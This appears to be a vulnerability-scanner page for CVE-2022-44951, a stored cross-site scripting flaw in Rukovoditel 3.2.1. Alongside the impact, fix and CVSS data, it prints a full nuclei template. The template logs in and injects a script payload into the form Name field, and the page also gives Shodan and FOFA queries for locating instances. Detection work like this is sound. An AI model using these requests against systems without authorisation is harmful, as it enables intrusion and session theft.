Rukovoditel <= 3.2.1 - Cross Site Scripting

mediumseverity

5.4CVSS score

1%likelihood of exploitation, next 30 days

64%of all CVEs are less likely

Readycheck to confirm it

Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add New Form tab function at /index.php?module=entities/forms&entities_id=24. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.

Fix

Upgrade Rukovoditel to a version higher than 3.2.1 to mitigate the XSS vulnerability.

How to confirm it

Send: GET /index.php?module=users/login ; POST /index.php?module=users/login&action=login ; POST /index.php?module=entities/forms&action=save_tab&token={{nonce}}
Positive when: status_code_3 == 200 and contains(content_type_3, "text/html") and contains(body_3, "<script>alert(document.domain)</script>") and contains(body_3, "rukovoditel")

Run it with nuclei: nuclei -id CVE-2022-44951 -u <target>

The full check

id: CVE-2022-44951

info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add New Form tab function at /index.php?module=entities/forms&entities_id=24. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/11
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44951
    - http://rukovoditel.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44951
    cwe-id: CWE-79
    epss-score: 0.01027
    epss-percentile: 0.63914
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=entities/forms&action=save_tab&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&entities_id=24&name=%3cscript%3ealert(document.domain)%3c%2fscript%3e&description=

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true

References

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